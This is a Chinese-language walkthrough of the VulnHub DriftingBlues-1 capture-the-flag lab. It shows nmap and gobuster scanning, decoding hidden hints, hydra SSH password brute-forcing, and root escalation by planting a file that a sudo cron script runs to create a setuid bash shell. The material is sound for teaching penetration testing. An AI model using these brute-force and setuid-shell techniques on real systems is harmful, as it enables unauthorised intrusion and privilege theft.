前提概要
靶场地址:https://www.vulnhub.com/entry/driftingblues-1,625/,是一个极其简单的靶场,需要具备以下前置知识:
- 基础的Linux命令及操作
- 基础的渗透测试工具使用(Kali / nmap下的工具)
信息收集
arp-scan 192.168.132.0/24

之前都是扫出目标后就之间nmap一把梭
后面了解到这样容易暴露目标
所以我们一步一步来
#先扫端口
nmap -p- 192.168.132.158
#扫出来端口再扫描相关服务版本
nmap -sV -A -p- -T4 192.168.132.158

既然开启了80端口HTTP服务那必须访问一波web页面寻找有用信息
扫了一遍web页面发现俩个邮箱,后面应该有用
sheryl@driftingblues.box
和
eric@driftingblues.box
密码破解
再审查一下页面源代码(第一次审查源代码,之前打DC系列的时候都没有思考过)
在源代码处发现一串加密码
拿去解密,是base64加密
L25vdGVmb3JraW5nZmlzaC50eHQ=
#解密得
/noteforkingfish.txt

去访问解密出来得文件
显示出来文本全是Ook,百度解密
找到一个解密Ook的在线网站:https://www.splitbrain.org/services/ook
解密出来一段话+署名:eric

根据文本内容,how to use host file to reach.....
猜测到要修改本地host文件
(参考DC靶机系列:DC-6)
结合之前发现的俩个邮箱
vim /etc/hosts
#加入IP和域名
192.168.132.158 driftingblues.box
目录扫描
使用gobuster来暴力扫描一下
gobuster vhost -u driftingblues.box -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
扫出来test.driftingblues.box,访问状态码为200
重新修改/etc/hosts
将之前添加的改为192.168.190.162 test.driftingblues.box
再访问test.driftingblues.box

访问成功!!!
dirb进行web目录扫描
dirb http://test.driftingblues.box

访问robots.txt页面

再访问/ssh_cred.txt
得到以下这段话
we can use ssh password in case of emergency. it was "1mw4ckyyucky".
sheryl once told me that she added a number to the end of the password.
-db
通过这个我们进行密码字典猜测,后面加一位数字
ssh连接
使用hydra进行ssh暴力破解
hydra -l eric -P pass.txt 192.168.132.158 ssh

密码破解成功,ssh远程登陆
在这找到flag1
ssh eric@192.168.132.158
ls
cat user.txt

提权(定时任务提权)
目前为普通用户,想办法提权
cd /var
ls
cd backups
ls
cd backup.sh
cat backup.sh

这里告诉我们
backup.sh是用zip命令把/var/www目录下的所有内容打包为/tmp/backup.zip
然后sudo /tmp/emergency
cd /tmp
ls

确实有backup.zip文件,但是没有emergency
结合backup.sh脚本中最后一句,会sudo执行/tmp/emergency文件
而此时/tmp下没有这个文件,我们可以手工创建文件,并将eric用户加入sudo组
echo 'cp /bin/bash /tmp/getroot; chmod +s /tmp/getroot' > /tmp/emergency
chmod +x emergrncy
ls -al
./getroot -p
whoami

此时提权成功
去到root目录下,找到第二个flag

新知识
Gobuster
Gobuster是Kali Linux默认安装的一款暴力扫描工具。它是使用Go语言编写的命令行工具,具备优异的执行效率和并发性能。该工具支持对子域名和Web目录进行基于字典的暴力扫描。不同于其他工具,该工具支持同时多扩展名破解,适合采用多种后台技术的网站。实施子域名扫描时,该工具支持泛域名扫描,并允许用户强制继续扫描,以应对泛域名解析带来的影响。
-P string:基本AUTH的密码(仅为DIR模式)
-U string:基本AUTH的用户名(仅为DIR模式)
-a string:设置用户代理字符串(DIR模式)
-c string:用于请求的Cookie(仅为DIR模式)
-cn:显示CNNEX记录(DNS模式),不能与“-I”选项一起使用)
-e:扩展模式,打印完整URL
-f:向每个目录请求追加前斜线(仅为DIR模式)
-fw:当通配符发现时,强制继续操作
-i:显示IP地址(仅DNS模式)
-k:跳过SSL证书验证
-l:包括在输出中的主体长度(仅为DIR模式)
-m string:目录/文件模式(DIR)或DNS模式(DNS)(默认“DIR”)
-n:不要打印状态代码
-np:不显示进度
-o string:输出文件以写入结果(默认为STDUT)
-p string:用于请求的代理[http(s)://主机:端口](仅dir模式)
-q:不要打印横幅和其他噪音
-r:追随重定向
-s string:设置状态码(DIR模式)(默认"200,204,301,302,307,403")
-t int:并发线程数(默认值10)
-to duration:HTTP超时(仅限于DIR模式)(默认10s)
-u string:目标URL或域
-v:冗长输出(错误)
-w string:暴力猜解的单词列表的路径
-x string:要搜索的文件扩展(仅限于DIR模式)
Dirb
dirb是一个基于字典的web目录扫描工具,会用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站。
格式:dirb <url_base> [<wordlist_file(s)>] [options]
-a 设置user-agent
-p <proxy[:port]>设置代理
-c 设置cookie
-z 添加毫秒延迟,避免洪水攻击
-o 输出结果
-X 在每个字典的后面添加一个后缀
-H 添加请求头
-i 不区分大小写搜索